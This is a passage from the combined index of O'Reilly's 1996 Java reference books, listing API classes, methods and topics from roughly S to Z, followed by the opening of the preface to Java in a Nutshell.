ServerSocket class : ServerSocket (JFC)
Short class
Short (JFC)
(Reference page) (NUT)
Short (JLR)
Socket class : Socket (JFC)
SocketImpl class : SocketImpl (JFC)
StreamTokenizer class : StreamTokenizer (JFC)
String class
String (JFC)
String (JLR)
StringBuffer class
StringBuffer (JFC)
(Reference page) (NUT)
StringBuffer (JLR)
StringWrinter class : (Reference page) (NUT)
StringWriter class : StringWriter (JFC)
SystemColor class : SystemColor Methods (AWT)
Thread class
Thread (JFC)
Thread (JLR)
ThreadGroup class
ThreadGroup (JFC)
ThreadGroup (JLR)
Throwable class
Throwable (JFC)
Throwable (JLR)
URL class : URL (JFC)
URLConnection class : URLConnection (JFC)
VariableGridLayout layout : VariableGridLayout (AWT)
VerticalBagLayout layout : VerticalBagLayout (AWT)
ZIPEntry class : ZipEntry (JFC)
toString( )
The Object and Class Classes (EXJ)
Strings from Things (EXJ)
java.lang.StringBuffer (EXJ)
Strings to Streams and Back (EXJ)
totalMemory( )
Runtime (JFC)
(Reference page) (NUT)
Runtime (JLR)
toTitleCase( )
Character (JFC)
Character (JLR)
toUpperCase( )
String (JFC)
Character (JFC)
(Reference page) (NUT)
Character (JLR)
String (JLR)
String class : String (JFC)
traceInstructions( )
Runtime (JFC)
(Reference page) (NUT)
Runtime (JLR)
traceMethodCalls( )
Runtime (JFC)
(Reference page) (NUT)
Runtime (JLR)
TRACK constant : AdjustmentEvent (AWT)
Transferable interface
Transferable Interface (AWT)
Transferable (New) (AWT)
Cut-and-Paste (NUT)
Data Transfer with Cut-and-Paste (NUT)
(Reference page) (NUT)
transferFocus( ) : Component Methods (AWT)
transformation formats (see UTF-8)
transient modifier
Modifiers (NUT)
Object Serialization (NUT)
Custom Serialization (NUT)
Modifiers (NUT)
transient variables : Variable modifiers (JLR)
translate( ) : (Reference page) (NUT)
Event method : Event Methods (AWT)
Graphics class : Graphics Methods (AWT)
Point class : Point Methods (AWT)
Rectangle class
Rectangle Methods (AWT)
Polygon Methods (AWT)
translate( ) : Drawing Methods (EXJ)
translatePoint( ) : MouseEvent (AWT)
transparency
Graphics Methods (AWT)
trapping exceptions (see exceptions)
triangular arrays : Multidimensional Arrays (EXJ)
trim( )
String (JFC)
String (JFC)
(Reference page) (NUT)
String (JLR)
trim( ) : Editing (EXJ)
true (value) (see boolean)
TRUE value
Boolean (JFC)
Boolean Type (JLR)
Boolean (JLR)
try statement
Handling Exceptions (JFC)
Labelled break and continue Statements (NUT)
Exception Handling (NUT)
The throw Statement (JLR)
Handling Exceptions (JLR)
break statement and : The break Statement (JLR)
continue statement and : The continue Statement (JLR)
return statement and : The return Statement (JLR)
try statements
Exceptions (EXJ)
Statements (EXJ)
Exception Handling (EXJ)
Try Creep (EXJ)
Glossary (EXJ)
TTL values : (Reference page) (NUT)
two's complement notation : Integer types (JLR)
type casts : Integer types (JLR)
typedef keyword : No typedef (NUT)
types (see data types)
Variables (EXJ)
Types (EXJ)
array : Array Types (EXJ)
casting and
Casting (EXJ)
Glossary (EXJ)
checking : Type Safety and Method Binding (EXJ)
primitive
Primitive Types (EXJ)
Argument Passing and References (EXJ)
boolean
Instance Variables (EXJ)
Primitive Types (EXJ)
Glossary (EXJ)
byte
Primitive Types (EXJ)
Glossary (EXJ)
char
Text Encoding (EXJ)
Primitive Types (EXJ)
Character literals (EXJ)
Glossary (EXJ)
double
Primitive Types (EXJ)
Floating-point literals (EXJ)
Glossary (EXJ)
float
Primitive Types (EXJ)
Floating-point literals (EXJ)
Glossary (EXJ)
int
Primitive Types (EXJ)
Integer literals (EXJ)
Glossary (EXJ)
long
Primitive Types (EXJ)
Integer literals (EXJ)
Glossary (EXJ)
short
Primitive Types (EXJ)
Glossary (EXJ)
streams for reading/writing : Data streams (EXJ)
reference : Reference Types (EXJ)
state of : The Verifier (EXJ)
void : Expressions (EXJ)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

U

UCS (universal character set)
Unicode (NUT)
Glossary (EXJ)
UTF-8 encoding : The UTF-8 Encoding (NUT)
UDP (User Datagram Protocol)
Datagram Sockets (EXJ)
Glossary (EXJ)
unary minus (+) operator : Unary Minus Operator - (JLR)
unary minus (-) operator : Operators (EXJ)
unary operators : Unary Operators (JLR)
unary plus (+) operator
Unary Plus Operator + (JLR)
Operators (EXJ)
uncaughtException( )
Stopping a thread (JFC)
ThreadGroup (JFC)
Stopping a thread (JLR)
ThreadGroup (JLR)
UndefinedProperty constant : Image Methods (AWT)
underlining : The Font Class (AWT)
Unicode character encoding
Text Encoding (EXJ)
Glossary (EXJ)
Unicode character set : Unicode (NUT)
escape sequences : Unicode and Character Escapes (NUT)
PrintStream class and : (Reference page) (NUT)
UTFDataFormatException : (Reference page) (NUT)
Unicode characters
The Unicode 2.0 Character Set (JFC)
Character (JFC)
Pre-Processing (JLR)
Conversion to Unicode (JLR)
Packages (JLR)
Character (JLR)
Unicode 2.0 character set : The Unicode 2.0 Character Set (JLR)
UnicodeDigit character : Identifiers (JLR)
UnicodeLetter character : Identifiers (JLR)
uniform resource locators (see URLs)
Uniform Resource Names (URNs)
Packages (EXJ)
Working with URLs (EXJ)
union( ) : Rectangle Methods (AWT)
unions in C : No Structures or Unions (NUT)
UNIT_ constants : AdjustmentEvent (AWT)
UniversalActionListener class : Invoking a Named Method (NUT)
UnknownError
UnknownError (JFC)
(Reference page) (NUT)
Errors (JLR)
UnknownHostException
UnknownHostException (JFC)
(Reference page) (NUT)
Clients (EXJ)
HeartBeat (EXJ)
UnknownServiceException
UnknownServiceException (JFC)
(Reference page) (NUT)
Stream Data (EXJ)
unnamed packages : The Unnamed Package (EXJ)
unreachable statements : Statements (EXJ)
unread( )
PushbackInputStream class
PushbackInputStream (JFC)
(Reference page) (NUT)
PushbackReader class
PushbackReader (JFC)
(Reference page) (NUT)
unreliable datagram packets : (Reference page) (NUT)
UnsatisfiedLinkError
UnsatisfiedLinkError (JFC)
(Reference page) (NUT)
Errors (JLR)
unsigned keyword (C) : Integral Types (NUT)
unsigned right shift (>>>) operator : Unsigned Right Shift Operator >>> (JLR)
UnsupportedEncodingException
UnsupportedEncodingException (JFC)
(Reference page) (NUT)
UnsupportedFlavorException : (Reference page) (NUT)
UnsupportedFlavorException exception
UnsupportedFlavorException (AWT)
UnsupportedFlavorException (New) (AWT)
update( ) : Simple Animation (AWT)
Adler32 class : Adler32 (JFC)
Checksum interface
Checksum (JFC)
(Reference page) (NUT)
Component class
Graphics (AWT)
Component Methods (AWT)
CRC32 class : CRC32 (JFC)
Observer interface
Observer (JFC)
(Reference page) (NUT)
PaintEvent class : (Reference page) (NUT)
UPDATE constant : PaintEvent (AWT)
update( )
Painting and Updating (EXJ)
Basic Drawing (EXJ)
using effectively : Drawing Techniques (EXJ)
updating
GUI components : Painting and Updating (EXJ)
image data : Image Producers and Consumers (EXJ)
uppercase (see Character class; case sensitivity)
URLConnection (class)
Web Browsers and Handlers (EXJ)
The URLConnection (EXJ)
URLs, Stream Handlers, and Connections (EXJ)
The URLConnection (EXJ)
URLContentHandler (class) : Web Browsers and Handlers (EXJ)
URLEncoder class : (Reference page) (NUT)
URLImageSource class : A Brief Tour of sun.awt.image (AWT)
URLs (uniform resource locators)
The java.net Package (JFC)
URL Objects (JFC)
HttpURLConnection class : (Reference page) (NUT)
MalformedURLException
MalformedURLException (JFC)
(Reference page) (NUT)
URL class
The java.net Package (JFC)
URL Objects (JFC)
URL (JFC)
The java.net Package (NUT)
(Reference page) (NUT)
URLConnection class
The java.net Package (JFC)
URLConnection Objects (JFC)
URLConnection (JFC)
The java.net Package (NUT)
(Reference page) (NUT)
URLEncoder class : URLEncoder (JFC)
URLStreamHandler class : (Reference page) (NUT)
URLStreamHandlerFactory interface
URLStreamHandlerFactory (JFC)
(Reference page) (NUT)
URLs (Uniform Resource Locators)
Network Programming (EXJ)
Working with URLs (EXJ)
base versus relative : Working with URLs (EXJ)
parsing : java.util.StringTokenizer (EXJ)
streams and : Stream Data (EXJ)
URL class : The URL class (EXJ)
of vendor : System Properties (EXJ)
URLs (uniform resourcelocators)
URLStreamHandler class : URLStreamHandler (JFC)
URLs, special : AppletContext Interface (AWT)
URLStreamHandler (class) : Writing a Protocol Handler (EXJ)
URLStreamHandlerFactory (object) : Writing a Protocol Handler (EXJ)
URNs (Uniform Resource Names)
Packages (EXJ)
Working with URLs (EXJ)
useDaylightTime( )
SimpleTimeZone class : SimpleTimeZone (JFC)
TimeZone class : TimeZone (JFC)
User Datagram Protocol (UDP)
Datagram Sockets (EXJ)
Glossary (EXJ)
user groups, Java : Other Java Books and Resources (AWT)
user-level security : Application and User Level Security (EXJ)
user.dir property
System Properties (EXJ)
File constructors (EXJ)
user.home : System Properties (EXJ)
user.name : System Properties (EXJ)
useShiftModifier( ) : MenuShortcut Methods (AWT)
usingProxy( ) : HttpURLConnection (JFC)
UTC( )
Date class : Date (JFC)
UTF-8 encoding
The UTF-8 Encoding (JFC)
The UTF-8 Encoding (NUT)
Data streams (EXJ)
Glossary (EXJ)
UTFDataFormatException : UTFDataFormatException (JFC)
UTFDataFormatException : (Reference page) (NUT)
UUCP, obtaining examples by : UUCP (AWT)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

V

valid( )
FileDescriptor class : FileDescriptor (JFC)
validate( )
Component class : Component Methods (AWT)
Container class : Container Methods (AWT)
validate( )
validate( ) and layout( ) (EXJ)
Layout Managers (EXJ)
validateObject( )
Writing Classes to Work with Serialization (JFC)
Advanced Serialization (NUT)
(Reference page) (NUT)
ObjectInputValidation interface : ObjectInputValidation (JFC)
validateTree( ) : Container Methods (AWT)
validation
InvalidObjectException : (Reference page) (NUT)
object : Advanced Serialization (NUT)
ObjectInputValidation class : (Reference page) (NUT)
ObjectInputValidation interface : ObjectInputValidation (JFC)
validity, component : Component Methods (AWT)
VALUE attribute (<PARAM> tag) : The <PARAM> Tag (NUT)
VALUE parameter (<PARAM> tag) : The Applet Tag (AWT)
valueOf( )
BigDecimal class : BigDecimal (JFC)
Boolean class
Boolean (JFC)
(Reference page) (NUT)
Boolean (JLR)
Byte class
Byte (JFC)
(Reference page) (NUT)
Byte (JLR)
Double class
Double (JFC)
Double (JLR)
Float class
Float (JFC)
(Reference page) (NUT)
Float (JLR)
Integer class
Integer (JFC)
(Reference page) (NUT)
Integer (JLR)
Long class
Long (JFC)
(Reference page) (NUT)
Long (JLR)
Short class
Short (JFC)
(Reference page) (NUT)
Short (JLR)
String class
String (JFC)
String (JFC)
(Reference page) (NUT)
String (JLR)
varargs function : No Variable-Length Argument Lists (NUT)
variable-length arrays (see vectors)
VariableGridLayout (layout manager) : Nonstandard Layout Managers (EXJ)
VariableGridLayout layout : VariableGridLayout (AWT)
variables
Reference Types (JLR)
Object-Orientation Java Style (JLR)
Classes (EXJ)
Variables (EXJ)
array (see arrays)
arrays (see arrays)
assigning : Assignment (EXJ)
assigning to (see assignment operators)
class : Glossary (EXJ)
class, declaring : Variables (JLR)
in classes : Class Variables (NUT)
converting to/from strings : Strings from Things (EXJ)
declaring
Objects Are Instances of a Class (NUT)
Variables (EXJ)
Declaration and initialization (EXJ)
Statements (EXJ)
Classes (EXJ)
default values for
Primitive Data Types (NUT)
Declaration and initialization (EXJ)
dot (.) notation
Variable access (EXJ)
Accessing Members (EXJ)
encapsulation (see encapsulation)
environment : Environment Variables (JFC)
final local
New Language Features in Java 1.1 (JLR)
Final local variables (JLR)
forward references : Forward References (NUT)
fully qualified names of : No Global Variables (NUT)
global
No Global Variables (NUT)
Global Variables? (NUT)
IllegalAccessError : (Reference page) (NUT)
inheritance : Extending a Class (NUT)
initializers and : Static Initializers (NUT)
initializing (see initializers)
instance
Instance Variables (EXJ)
Classes (EXJ)
Glossary (EXJ)
interface
Interface Variables (JLR)
Interface Variables (EXJ)
local
Local Variables (NUT)
Local Variable Declarations (NUT)
Local Variables (JLR)
Instance Variables (EXJ)
Local Variables (EXJ)
Local Variable Initialization (EXJ)
Glossary (EXJ)
modifiers for : Modifiers (NUT)
naming : Local variable name (JLR)
serialization and : Versioning of Classes (JFC)
shadowed
Shadowed Variables (NUT)
Overriding Is Not Shadowing (NUT)
Variable name (JLR)
shadowing
Shadowing (EXJ)
Shadowed Variables (EXJ)
Glossary (EXJ)
static
Static Members (EXJ)
Static Members (EXJ)
type checking : Type Safety and Method Binding (EXJ)
visibility (see visibility modifiers)
Vector class
Vector (JFC)
The java.util Package (NUT)
(Reference page) (NUT)
vectors
Wrappers for Primitive Types (EXJ)
Vectors and Hashtables (EXJ)
Glossary (EXJ)
stacks : Stacks (JFC)
Vector class : Vectors (JFC)
vendor information : System Properties (EXJ)
verification
VerifyError error : VerifyError (JFC)
verification of byte-code
Secure (NUT)
Byte-Code Verification (NUT)
java (NUT)
verifiers, byte-code
Safety of Implementation (EXJ)
The Java Interpreter (EXJ)
Glossary (EXJ)
-verify option (java) : The Java Interpreter (EXJ)
VerifyError
(Reference page) (NUT)
Errors (JLR)
-verifyremote option (java) : The Java Interpreter (EXJ)
@version tag (javadoc) : Documentation Comments (JLR)
version (Applet information) : Reading Applet Parameters (NUT)
version information
Java : System Properties (EXJ)
operating system : System Properties (EXJ)
version numbers : serialver (NUT)
@version tag : Comments (EXJ)
Version: doc comment tag : Java Documentation Comment Syntax (NUT)
versioning classes
Versioning of Classes (JFC)
Serialization and Class Versioning (NUT)
versions
AWT
Preface (AWT)
Abstract Window Toolkit Overview (AWT)
Java : Preface (AWT)
vertical
alignment (see alignment)
font height : The FontMetrics Class (AWT)
gaps (see gap settings)
scrollbars (see scrolling)
size (see size)
VerticalBagLayout layout : VerticalBagLayout (AWT)
VerticalBagLayout (layout manager) : Nonstandard Layout Managers (EXJ)
vetableChange( ) : (Reference page) (NUT)
VetoableChangeListener interface : (Reference page) (NUT)
VetoableChangeSupport class : (Reference page) (NUT)
viewing applets
Viewing Applets (EXJ)
Getting Applet Resources (EXJ)
Glossary (EXJ)
virtual
machines : A Virtual Machine (EXJ)
methods : Type Safety and Method Binding (EXJ)
virtual machine : Runtime (JLR)
InternalError : InternalError (JFC)
Runtime class : Runtime (JFC)
RuntimeException : RuntimeException (JFC)
StackOverflowError : StackOverflowError (JFC)
UnknownError : UnknownError (JFC)
VirtualMachineError : VirtualMachineError (JFC)
virtual machine, printing instructions for : javap (NUT)
VirtualMachineError
(Reference page) (NUT)
Errors (JLR)
visibility
component : Component Methods (AWT)
list items : List Methods (AWT)
scrollbar
TextArea Methods (AWT)
Scrollbar Methods (AWT)
Methods of the Adjustable Interface (AWT)
Visibility interface : (Reference page) (NUT)
visibility modifiers
Visibility Modifiers (NUT)
Modifiers (NUT)
Accessing Members (EXJ)
Basic Access Modifiers (EXJ)
classes and : Class Visibility (EXJ)
member classes and : Member Classes and Visibility Modifiers (NUT)
private
Safety of Implementation (EXJ)
The paint( ) Method (EXJ)
Our Color Methods (EXJ)
Subclassing and Inheritance (EXJ)
Glossary (EXJ)
protected : Glossary (EXJ)
public
The paint( ) Method (EXJ)
The Java Compiler (EXJ)
Glossary (EXJ)
subclasses and : Subclasses and Visibility (EXJ)
Visual BASIC : Safety of Implementation (EXJ)
VK_ constants : KeyEvent (AWT)
void (type) : Expressions (EXJ)
Void class
Void (JFC)
(Reference page) (NUT)
Void (JLR)
void keyword
The void Keyword (NUT)
A "Hello World" Program (JLR)
Expressions (JLR)
Method return type (JLR)
volatile modifier
Modifiers (NUT)
Modifiers (NUT)
volatile variables : Variable modifiers (JLR)
VSPACE attribute (<APPLET> tag) : The <APPLET> Tag (NUT)
vspace attribute (<applet> tag)
Embedding an Applet in a Web Page (JLR)
The Complete Applet Tag (EXJ)
VSPACE parameter (<APPLET> tag) : The Applet Tag (AWT)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

W

wait( )
(Reference page) (NUT)
Optimistic Single-Threaded Execution (JLR)
Object (JLR)
IllegalMonitorStateException and : IllegalMonitorStateException (JFC)
Object class
Optimistic Single-Threaded Execution (JFC)
Object (JFC)
wait( )
wait( ) and notify( ) (EXJ)
Pipes (EXJ)
waitFor( )
External Program Execution (JFC)
(Reference page) (NUT)
Process (JLR)
Process class : Process (JFC)
waitForAll( ) : MediaTracker Methods (AWT)
waitForID( )
MediaTracker Methods (AWT)
(Reference page) (NUT)
warning messages : javac (NUT)
Web browsers (see browsers)
Web Browsers and Handlers (EXJ)
HotJava
New Kinds of Applications (EXJ)
Applets and Files (EXJ)
Web Browsers and Handlers (EXJ)
Glossary (EXJ)
Netscape Navigator
Applets and Files (EXJ)
Web Browsers and Handlers (EXJ)
responding to unknown tags
Hablo Applet? (EXJ)
The Complete Applet Tag (EXJ)
when variable : Variables (AWT)
while statement
The if/else, while, and do/while Statements (NUT)
The while Statement (JLR)
white space
Lexical Analysis (JLR)
White Space (JLR)
whitespace
trim( ) : Editing (EXJ)
as word delimiter : java.util.StringTokenizer (EXJ)
whitespaceChars( )
StreamTokenizer (JFC)
(Reference page) (NUT)
width (see size)
WIDTH (variable) : Implementing an ImageObserver (EXJ)
WIDTH attribute (<APPLET> tag) : The <APPLET> Tag (NUT)
width attribute (<applet> tag)
Embedding an Applet in a Web Page (JLR)
Attributes (EXJ)
The Complete Applet Tag (EXJ)
WIDTH parameter (<APPLET> tag) : The Applet Tag (AWT)
Window( ) : Window Methods (AWT)
Window class : (Reference page) (NUT)
WINDOW_ constants : WindowEvent (AWT)
Window container : Windows (AWT)
windowActivated( ) : WindowListener and WindowAdapter (AWT)
windowBorder color : SystemColor Methods (AWT)
windowClosed( ) : WindowListener and WindowAdapter (AWT)
windowClosing( )
Constants (AWT)
WindowListener and WindowAdapter (AWT)
windowDeactivated( ) : WindowListener and WindowAdapter (AWT)
windowDeiconified( )
Constants (AWT)
WindowListener and WindowAdapter (AWT)
WindowEvent( ) : WindowEvent (AWT)
windowIconified( )
Constants (AWT)
WindowListener and WindowAdapter (AWT)
windowOpened( ) : WindowListener and WindowAdapter (AWT)
windowOpening( ) : Constants (AWT)
windows
Windows (AWT)
Window (AWT)
Building a New Component from a Window (AWT)
BorderLayout layout for
BorderLayout (AWT)
BorderLayout (AWT)
BorderLayout (AWT)
colors for : SystemColor Methods (AWT)
java.awt package : The java.awt Package (NUT)
Window class
Window Methods (AWT)
Window (AWT)
window events : Constants (AWT)
WindowAdapter class
WindowAdapter (New) (AWT)
(Reference page) (NUT)
WindowEvent class
WindowEvent (AWT)
WindowEvent (New) (AWT)
(Reference page) (NUT)
WindowListener interface
WindowListener and WindowAdapter (AWT)
WindowListener (New) (AWT)
(Reference page) (NUT)
WindowPeer interface
WindowPeer (AWT)
(Reference page) (NUT)
Wksh scripting language : Java Compared (EXJ)
wordChars( )
StreamTokenizer (JFC)
(Reference page) (NUT)
words (see strings; tokens)
words, parsing strings into : java.util.StringTokenizer (EXJ)
working directory, user : System Properties (EXJ)
World Wide Web
embedding applets in : Embedding an Applet in a Web Page (JLR)
Java Web site : Online Resources (JLR)
World Wide Web (WWW) (see Web browsers) : Java and the World Wide Web (EXJ)
browsers (see Web browsers)
wrappers
classes for : Primitive Types (EXJ)
for primitive types : Wrappers for Primitive Types (EXJ)
stream : Stream Wrappers (EXJ)
writability, checking for : File methods (EXJ)
write( ) : Pipes (EXJ)
BufferedOutputStream class : BufferedOutputStream (JFC)
BufferedWriter class
BufferedWriter (JFC)
(Reference page) (NUT)
ByteArrayOutputStream class
CharArrayWriter and ByteArrayOutputStream (JFC)
ByteArrayOutputStream (JFC)
CharArrayWriter class
CharArrayWriter (JFC)
(Reference page) (NUT)
CheckedOutputStream class
CheckedOutputStream (JFC)
(Reference page) (NUT)
data buffer with : Buffered streams (EXJ)
DataOutput interface : DataOutput (JFC)
DataOutputStream class
DataOutputStream (JFC)
(Reference page) (NUT)
DeflaterOutputStream class
DeflaterOutputStream (JFC)
(Reference page) (NUT)
FileOutputStream class
FileOutputStream (JFC)
(Reference page) (NUT)
FilterOutputStream class
FilterOutputStream (JFC)
The java.io Package (NUT)
FilterWriter class
FilterWriter (JFC)
(Reference page) (NUT)
GZIPOutputStream class
GZIPOutputStream (JFC)
(Reference page) (NUT)
ObjectOutput interface : ObjectOutput (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
OutputStream class
OutputStream (JFC)
OutputStream (JFC)
(Reference page) (NUT)
PipedOutputStream class : PipedOutputStream (JFC)
PipedWriter class : PipedWriter (JFC)
PrintStream class : PrintStream (JFC)
PrintWriter class
PrintWriter (JFC)
(Reference page) (NUT)
RandomAccessFile class
RandomAccessFile (JFC)
RandomAccessFile (JFC)
StringWrinter class : (Reference page) (NUT)
StringWriter class : StringWriter (JFC)
Writer class
Writer (JFC)
Writer (JFC)
(Reference page) (NUT)
ZipOutputStream class
ZipOutputStream (JFC)
(Reference page) (NUT)
WriteAbortedException
WriteAbortedException (JFC)
(Reference page) (NUT)
writeBoolean( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeByte( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeBytes( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeChar( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeChars( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeDouble( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeExternal( )
Advanced Serialization (NUT)
(Reference page) (NUT)
Externalizable interface : Externalizable (JFC)
writeFloat( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeInt( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeLong( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeObject( )
ObjectOutput interface : ObjectOutput (JFC)
ObjectOutputStream class
Object Serialization Basics (JFC)
Writing Classes to Work with Serialization (JFC)
Versioning of Classes (JFC)
ObjectOutputStream (JFC)
Object Serialization (NUT)
Simple Serialization (NUT)
(Reference page) (NUT)
(Reference page) (NUT)
Serializable interface : (Reference page) (NUT)
Writer (class) : Streams (EXJ)
writers
BufferedWriter class
BufferedWriter and BufferedOutputStream (JFC)
BufferedWriter (JFC)
(Reference page) (NUT)
CharArrayWriter class
CharArrayWriter and ByteArrayOutputStream (JFC)
CharArrayWriter (JFC)
(Reference page) (NUT)
FileWriter class
FileWriter and FileOutputStream (JFC)
FileWriter (JFC)
(Reference page) (NUT)
FilterWriter class
FilterOutputStream and FilterWriter (JFC)
FilterWriter (JFC)
(Reference page) (NUT)
OutputStreamWriter class
OutputStreamWriter (JFC)
The java.io Package (JFC)
OutputStreamWriter (JFC)
Character Encodings (NUT)
(Reference page) (NUT)
PipedWriter class
PipedOutputStream and PipedWriter (JFC)
PipedWriter (JFC)
(Reference page) (NUT)
PrintWriter class
PrintWriter and PrintStream (JFC)
PrintWriter (JFC)
The java.io Package (NUT)
(Reference page) (NUT)
StringWrinter class : (Reference page) (NUT)
StringWriter class
StringWriter (JFC)
StringWriter (JFC)
Writer class
Output Streams and Writers (JFC)
Writer (JFC)
The java.io Package (JFC)
Writer (JFC)
The java.io Package (NUT)
(Reference page) (NUT)
writeShort( )
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeStreamHeader( )
ObjectOutputStream class : ObjectOutputStream (JFC)
writeTo( ) : (Reference page) (NUT)
ByteArrayOutputStream class : ByteArrayOutputStream (JFC)
CharArrayWriter class
CharArrayWriter and ByteArrayOutputStream (JFC)
CharArrayWriter (JFC)
writeUTF( )
The UTF-8 Encoding (NUT)
(Reference page) (NUT)
DataOutput interface : DataOutput (JFC)
DataOutputStream class : DataOutputStream (JFC)
ObjectOutputStream class : ObjectOutputStream (JFC)
RandomAccessFile class : RandomAccessFile (JFC)
writeUTF( ) : Data streams (EXJ)
writing in Java (see programming in Java)
writing objects to byte stream : Object Serialization Basics (JFC)
wrtie( )
OutputStreamWriter class : OutputStreamWriter (JFC)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

X

XOR (^) operator, bitwise : Operators (EXJ)
XOR (^) operator, boolean : Operators (EXJ)
XOR mode : Graphics Methods (AWT)
xor( )
BigInteger class : BigInteger (JFC)
BitSet class : BitSet (JFC)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Y

yield( )
Yielding (JFC)
Thread (JFC)
(Reference page) (NUT)
Yielding (JLR)
Thread (JLR)
yield( ) : Yielding (EXJ)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Z

zero
division by : Integral Types (NUT)
negative : Floating-Point Types (NUT)
null versus : null (NUT)
zero value
dividing by : Division Operator / (JLR)
as floating-point number : Floating-point types (JLR)
ZIP classes : The java.util.zip Package (JFC)
ZIP files
The Class Path (EXJ)
The application/x-tar Handler (EXJ)
.zip files : Packages (JLR)
ZIP format
The java.util.zip Package (JFC)
ZIPEntry class
The java.util.zip Package (JFC)
ZipEntry (JFC)
ZipException : ZipException (JFC)
ZipFile class : ZipFile (JFC)
ZipInputStream class : ZipInputStream (JFC)
ZipOutputStream class : ZipOutputStream (JFC)
ZipEntry class : (Reference page) (NUT)
ZipException : (Reference page) (NUT)
ZipFile class : (Reference page) (NUT)
ZipInputStream class : (Reference page) (NUT)
ZipOutputStream class : (Reference page) (NUT)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Preface

Contents:
Contents of This Book
Changes Since the First Edition
Related Books
Java Resources
Java in a Nutshell Web Sites
Conventions Used in This Book
Request for Comments
Acknowledgments

This handbook is a desktop quick reference for Java programmers; it covers version 1.1 of the Java language and API. It also includes introductory and tutorial material for C and C++ programmers who want to learn Java. It was written to sit faithfully by your keyboard for easy reference while you program. The wild success of the first edition has shown that this is exactly what Java programmers want, and I've retained the "no fluff" explanations and the to-the-point reference material in this second edition. I hope that new readers will find this book useful, and that old readers will find it even more useful than the last one!

Contents of This Book

This book is divided into five parts:

Part I: Introducing Java

This first part of the book introduces Java and Java programming, with a particular emphasis on helping C and C++ programmers make the transition to Java. If you are already familiar with Java 1.0 programming, you can skip the three chapters in this part.

Part II: Introducing Java 1.1

This second part of the book contains two chapters that introduce the new features of the Java 1.1 API and the new language features in Java 1.1.

Part III: Programming with the Java 1.1 API

This part contains example programs that demonstrate many of the new features of Java 1.1. You may find that these examples are a good starting point for your own programs, and you should feel free to adapt them for your own use. As explained below, this example section has changed a lot since the first edition of this book.

Part IV: Java Language Reference

This part of the book contains reference material that describes the syntax of the Java language and the tools provided with the Java Development Kit (JDK), among other things.

Part V: API Quick Reference

This part is a quick reference for the Java API; it forms the bulk of the book. Please be sure to read the How To Use This Quick Reference material, which appears at the beginning of the part. It explains how to get the most out of the reference material.

Home | Next
Book Index | Changes Since the First Edition
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Changes Since the First Edition

Java in a Nutshell

Previous Preface Next

Changes Since the First Edition

